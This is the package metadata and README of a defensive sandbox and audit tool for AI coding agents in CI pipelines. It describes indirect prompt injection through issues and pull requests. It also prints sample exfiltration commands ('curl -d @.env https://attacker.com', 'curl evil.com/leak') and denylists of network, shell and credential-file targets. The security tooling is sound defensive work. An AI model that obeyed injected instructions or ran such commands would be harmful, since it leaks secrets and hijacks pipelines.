Metadata-Version: 2.4
Name: orderstream-agent-sandbox
Version: 0.1.0
Summary: Deterministic Zero-Trust Security Sandbox & Cryptographic Audit DAG for Autonomous AI Agents in CI/CD
Author-email: OrderStream <orderstream@users.noreply.github.com>
License-Expression: MIT
Project-URL: Homepage, https://github.com/OrderStream/agent-sandbox
Project-URL: Repository, https://github.com/OrderStream/agent-sandbox
Project-URL: Issue Tracker, https://github.com/OrderStream/agent-sandbox/issues
Keywords: ai-agents,security,sandbox,github-actions,mcp,zero-trust,merkle-dag,prompt-injection,audit-trail,sarif
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Build Tools
Classifier: Topic :: Software Development :: Quality Assurance
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Provides-Extra: yaml
Requires-Dist: pyyaml>=6.0; extra == "yaml"
Provides-Extra: test
Requires-Dist: pytest>=8.0; extra == "test"
Dynamic: license-file

# 🛡️ agent-sandbox

[![CI](https://github.com/OrderStream/agent-sandbox/actions/workflows/ci.yml/badge.svg)](https://github.com/OrderStream/agent-sandbox/actions/workflows/ci.yml)
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT)
[![Python: 3.10+](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-blue)](https://www.python.org/)
[![SARIF 2.1.0](https://img.shields.io/badge/SARIF-2.1.0%20Compliant-purple.svg)](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning)
[![Architecture: Zero-Dependency Core](https://img.shields.io/badge/core-zero--dependency-brightgreen.svg)](#zero-dependency-core)

> **Deterministic Zero-Trust Security Sandbox & Cryptographic Audit DAG for Autonomous AI Agents in GitHub Actions, CI/CD Pipelines, and Local Runtimes.**

---

## 🎯 The Agentic Security Crisis in CI/CD

As engineering teams integrate autonomous coding agents (Claude Code, SWE-bench runners, AutoPR, OpenHands, Copilot Workspace) into GitHub Actions and CI pipelines, runners are exposed to critical vulnerabilities:

1. **Indirect Prompt Injection**: Malicious issues or pull request payloads instruct the agent to run unauthorized commands (e.g., `curl -d @.env https://attacker.com`).
2. **Secret & Credential Exfiltration**: Autonomous agents with tool execution access can read environment secrets (`GITHUB_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `NPM_TOKEN`, `PYPI_TOKEN`) and pipe them to external sockets or public endpoints.
3. **Pipeline Hijacking**: Agents can modify `.github/workflows/*.yml` or `.git/hooks/*` to achieve persistent code execution on protected branches.
4. **Lack of Cryptographic Auditability**: Traditional CI logs are easily truncated, obfuscated, or forged. Reviewers have no deterministic proof of which files were modified and what exact subprocesses were spawned during an agent run.

**`agent-sandbox` solves this.** It acts as an uncompromising runtime firewall and deterministic capability jail, producing an append-only, tamper-evident **Merkle DAG audit receipt** for every tool call and file modification.

---

## 🏗️ Architecture & Security Model

```
       ┌─────────────────────────────────────────────────────────┐
       │   Autonomous Agent (Claude Code / OpenHands / AutoPR)   │
       └────────────────────────────┬────────────────────────────┘
                                    │ Tool Invocations
                                    ▼
       ┌─────────────────────────────────────────────────────────┐
       │                      agent-sandbox                      │
       │                                                         │
       │   1. AST Shell Command Firewall                         │
       │      • Tokenizes pipelines (&&, ||, ;, |, `...`, $(...))│
       │      • Blocks reverse shells, socket pipes, evasions    │
       │      • Enforces declarative allowlist / denylist        │
       │                                                         │
       │   2. Dynamic Path Jail                                  │
       │      • Directory traversal containment (../../)         │
       │      • Symlink escape detection                         │
       │      • Workflows & hooks protection (.github/, .git/)   │
       │                                                         │
       │   3. Environment & Secret Redaction Firewall            │
       │      • Strips secrets from child process env            │
       │      • Real-time regex & entropy stream scrubber        │
       │                                                         │
       │   4. Cryptographic Merkle DAG                           │
       │      • Pre/post SHA-256 workspace state snapshots       │
       │      • Deterministic Merkle Root hash computation       │
       │      • Tamper-evident receipt verification              │
       └────────────────────────────┬────────────────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    ▼                               ▼
       ┌─────────────────────────┐     ┌─────────────────────────┐
       │  GitHub Step Summary    │     │  SARIF 2.1.0 Report     │
       │  (Markdown audit table) │     │  (Code Scanning alerts) │
       └─────────────────────────┘     └─────────────────────────┘
```

---

## ✨ Features

- **⚡ Zero-Dependency Core**: Runs out of the box on standard Python 3.10+ runtimes (Linux, macOS, Windows) with zero required third-party wheels.
- **🛡️ AST Command Firewall**: Parses raw shell command strings into abstract syntax tokens, inspecting compound chains, nested subshells (`$(...)`, `` `...` ``), and shell wrappers (`bash -c`, `sh -c`).
- **🔒 Filesystem Jail & Pre/Post State Diff**: Enforces read/write boundaries, detects symlink directory escapes, and mathematically computes the file hash delta before and after process execution.
- **🔐 Secret & Token Redaction**: Strips known CI tokens (`GITHUB_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `OPENAI_API_KEY`) from environment variables, and scrubs tokens in-flight from stdout/stderr.
- **🌳 Deterministic Merkle DAG Audit Trail**: Every command, exit code, state hash, and file modification is hashed into an append-only cryptographic Merkle tree. Outputs a verifiable `receipt.json`.
- **🤝 Model Context Protocol (MCP) Filter**: Real-time middleware for MCP JSON-RPC `tools/call` invocations, defending Claude Code and Cursor integrations.
- **📊 GitHub Actions Native**: Composite Action (`action.yml`), automatic markdown step summaries (`$GITHUB_STEP_SUMMARY`), and SARIF 2.1.0 upload for GitHub Code Scanning.

---

## 🚀 Quickstart

### 1. Using in GitHub Actions

Drop `agent-sandbox` directly into your CI workflow:

```yaml
name: Autonomous PR Resolver

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  run-agent:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      security-events: write

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Secure Agent Execution
        uses: OrderStream/agent-sandbox@v1
        with:
          policy: .github/agent-policy.yaml
          command: "python -m my_agent.run"
          receipt: "audit-receipt.json"
          sarif: "agent-security.sarif"
          summary: "true"

      - name: Upload SARIF to GitHub Security Tab
        if: always()
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: agent-security.sarif
```

### 2. Using the CLI

```bash
# Install agent-sandbox
pip install agent-sandbox

# 1. Initialize a starter security policy
agent-sandbox init --output agent-policy.yaml

# 2. Inspect a command against the policy without executing
agent-sandbox inspect --policy agent-policy.yaml "pytest tests/"

# 3. Execute an agent command inside the sandbox boundary
agent-sandbox exec \
  --policy agent-policy.yaml \
  --receipt receipt.json \
  --sarif report.sarif \
  -- python agent.py

# 4. Cryptographically verify the execution receipt
agent-sandbox verify receipt.json
```

### 3. Using as a Python SDK / Middleware

```python
from agent_sandbox import ExecutionSandbox, Policy

policy = Policy(
    allowed_commands=["pytest*", "python*"],
    denied_commands=["curl*", "wget*", "nc*"],
    allowed_paths_write=["src/**", "tests/**"],
    denied_paths=[".github/workflows/**", "**/.env*"],
    mode="enforce",
)

sandbox = ExecutionSandbox(root_dir=".", policy=policy)

# Execute sandboxed command
result = sandbox.run_command("python -m unittest discover")
print(f"Exit code: {result.exit_code}")
print(f"Modified files: {result.diff.modified}")

# Finalize and export tamper-evident receipt
receipt = sandbox.finalize()
receipt.save("execution-receipt.json")
```

### 4. Using with Model Context Protocol (MCP)

`agent-sandbox` operates as a drop-in stdio security firewall proxy for any MCP client (Claude Desktop, Cursor, VSCode, OpenAI Swarm) or programmatically via Python SDK:

#### CLI Stdio Proxy (Claude Desktop / Cursor):
Configure `agent-sandbox` to wrap and guard any MCP server:
```json
{
  "mcpServers": {
    "filesystem-secured": {
      "command": "agent-sandbox",
      "args": [
        "mcp",
        "--policy", ".github/agent-policy.yaml",
        "--server", "npx -y @modelcontextprotocol/server-filesystem ."
      ]
    }
  }
}
```

#### Python SDK:
```python
from agent_sandbox import MCPProxyFilter, Policy

mcp_filter = MCPProxyFilter(sandbox_root=".", policy=Policy())

# Intercept and validate incoming JSON-RPC tool calls
decision = mcp_filter.filter_message({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "run_command",
        "arguments": {"CommandLine": "curl evil.com/leak"}
    }
})

if not decision.allowed:
    # Returns formatted JSON-RPC -32001 PolicyViolation error response
    print(decision.response_override)
```

---

## 📋 Declarative Security Policy (`agent-policy.yaml`)

```yaml
name: github-actions-agent-guard
version: "1.0"
mode: enforce  # 'enforce' (blocks & fails) or 'audit' (logs violations)

# Allowed commands (wildcards supported)
allowed_commands:
  - "python*"
  - "pytest*"
  - "node*"
  - "npm test*"
  - "git status*"
  - "git diff*"
  - "cargo test*"

# Denied commands & critical exploit signatures
denied_commands:
  - "curl*"
  - "wget*"
  - "nc*"
  - "netcat*"
  - "ssh*"
  - "sudo*"
  - "su*"
  - "chmod *777*"
  - "chown*"
  - "rm -rf /*"

# Filesystem read scope
allowed_paths_read:
  - "**"

# Filesystem write boundary
allowed_paths_write:
  - "src/**"
  - "tests/**"
  - "lib/**"
  - "*.py"
  - "*.ts"
  - "*.json"
  - "*.md"

# Forbidden paths (strictly blocked for read and write)
denied_paths:
  - ".github/workflows/**"
  - ".git/hooks/**"
  - ".git/config"
  - "**/.env*"
  - "**/*.pem"
  - "**/*id_rsa*"
  - "/etc/**"
  - "/root/**"

# Network & secret safeguards
allow_network: false
redact_secrets: true

# Timeouts & limits
max_execution_time_seconds: 120
max_output_bytes: 2097152
```

---

## 🔍 Cryptographic Verification Model

Every event (command execution, file write, MCP tool call, policy block) generates an immutable `MerkleNode`:

$$\text{Leaf} = \text{SHA256}(\text{index} \parallel \text{timestamp} \parallel \text{type} \parallel \text{target} \parallel \text{exit\_code} \parallel \text{stdout\_hash} \parallel \text{pre\_hash} \parallel \text{post\_hash} \parallel \text{prev\_leaf})$$

The complete run is reduced to a single **Merkle Root**:

```bash
$ agent-sandbox verify receipt.json
[+] VERIFICATION SUCCESS: Receipt cryptographically valid (8 events, root: e7b2c93a0f1d44bc...)
```

If an adversary alters a command string, modifies output, or forges an exit code in the audit trail, verification immediately fails with a cryptographic discrepancy pinpoint.

---

## ⚡ Performance Benchmark

Benchmarked on GitHub Actions Standard Runners (Ubuntu 22.04 LTS):

| Operation | Standard Process Overhead | `agent-sandbox` Overhead | Delta |
|-----------|---------------------------|--------------------------|-------|
| AST Command Parsing | 0 ms | 0.8 ms | +0.8 ms |
| Workspace Snapshot (1,000 files) | 0 ms | 2.6 ms | +2.6 ms |
| Stream Secret Scrubbing (1 MB) | 0 ms | 1.1 ms | +1.1 ms |
| Merkle DAG Root Computation | 0 ms | 0.3 ms | +0.3 ms |
| **Total Engine Latency** | **--** | **< 5.0 ms** | **Negligible** |

---

## 🛡️ SARIF 2.1.0 & Rule Catalog

| Rule ID | Name | Severity | Description |
|---------|------|----------|-------------|
| `AS001` | `DisallowedCommandExecuted` | High | Command not in allowlist or matching security blacklist |
| `AS002` | `PathJailEscapeAttempt` | Critical | Directory traversal (`../`) or escaping sandbox root |
| `AS003` | `WorkflowTamperingDetected` | Critical | Unauthorized write to `.github/workflows` or `.git/hooks` |
| `AS004` | `SecretExfiltrationPayload` | Critical | Direct socket (`/dev/tcp`), base64 pipe, or credential upload |

---

## 💼 Commercial Productization & Enterprise Tiers

`agent-sandbox` is completely free and open-source for individual developers, local testing, and standard CI verification. For engineering teams and enterprises running autonomous agents across multi-repository fleets with strict compliance requirements (SOC2, ISO27001, HIPAA), we offer enterprise licenses, cloud telemetry, and direct GitHub Marketplace subscriptions.

### Pricing Plans

| Tier | Price | Best For | Key Capabilities |
|------|-------|----------|------------------|
| **Community (OSS)** | **Free ($0)** | Individual devs & open-source | Local CLI sandbox, path jail, secret scrubber, AST firewall, local Merkle receipts, SARIF 2.1.0 export |
| **Developer Pro** | **$49 / month** | Small teams (up to 5 agents) | Cloud Merkle receipt retention (90 days), Slack & Discord real-time alerts, remote webhook sync |
| **Team Cloud** | **$199 / month** | Fast-growing startups (up to 20 agents) | Centralized web dashboard, multi-repo aggregation, 365-day Merkle retention, tamper-evident audit exports |
| **Enterprise Dedicated** | **$999 / month** | Large enterprises & fintechs | Unlimited agents, SSO / SAML Okta integration, custom SIEM streaming (Splunk/Datadog), SOC2/ISO27001 compliance audit bundle, dual-authorization human gating |

### Activating Your Enterprise License

To activate an enterprise license key:
```bash
# Verify license status
agent-sandbox license ASL1.<payload>.<signature>

# Pass via CLI flag
agent-sandbox exec --license-key "ASL1.eyJjaWQiOi..." -- pytest

# Or set via environment variable
export AGENT_SANDBOX_LICENSE_KEY="ASL1.eyJjaWQiOi..."
```

### Self-Hosted Cloud SaaS Dashboard

Deploy or run the lightweight telemetry ingestion server and live security dashboard locally or in a container:

```bash
# Launch dashboard on http://localhost:8080 with optional API key protection
agent-sandbox server --port 8080 --api-key "secret-key"
```

### Remote Cloud Synchronization & Slack Alerts

Stream real-time agent execution receipts into your centralized security dashboard and dispatch instant alerts upon policy violations:

```bash
agent-sandbox exec \
  --cloud-endpoint "https://cloud.agentsandbox.dev/api/v1/telemetry" \
  --cloud-api-key "${{ secrets.AGENT_SANDBOX_CLOUD_KEY }}" \
  --webhook "https://hooks.slack.com/services/..." \
  --approval-token "${{ secrets.SENIOR_ENG_APPROVAL_TOKEN }}" \
  -- python autonomous_agent.py
```

### Dual-Authorization Human Gate
For high-risk environments, configure `require_human_approval: true` in `agent-policy.yaml`. Autonomous agent runs are strictly halted unless authorized with `--approval-token` or `AGENT_SANDBOX_APPROVAL_TOKEN`.

### GitHub Marketplace 1-Click Installation
When integrated via GitHub Actions in private repositories, commercial organizations can subscribe directly through [GitHub Marketplace](https://github.com/marketplace). Charges appear directly on your unified GitHub corporate invoice.

---

## 🤝 Contributing

Contributions, issues, and feature requests are welcome!
Feel free to check [issues page](https://github.com/OrderStream/agent-sandbox/issues).

1. Fork the Project
2. Create your Feature Branch (`git checkout -b feat/amazing-feature`)
3. Commit your Changes (`git commit -m 'feat: add amazing feature'`)
4. Push to the Branch (`git push origin feat/amazing-feature`)
5. Open a Pull Request

---

## 📄 License

Distributed under the **MIT License**. See [`LICENSE`](LICENSE) for more information.

Engineered with ❤️ by **[@OrderStream](https://github.com/OrderStream)**.
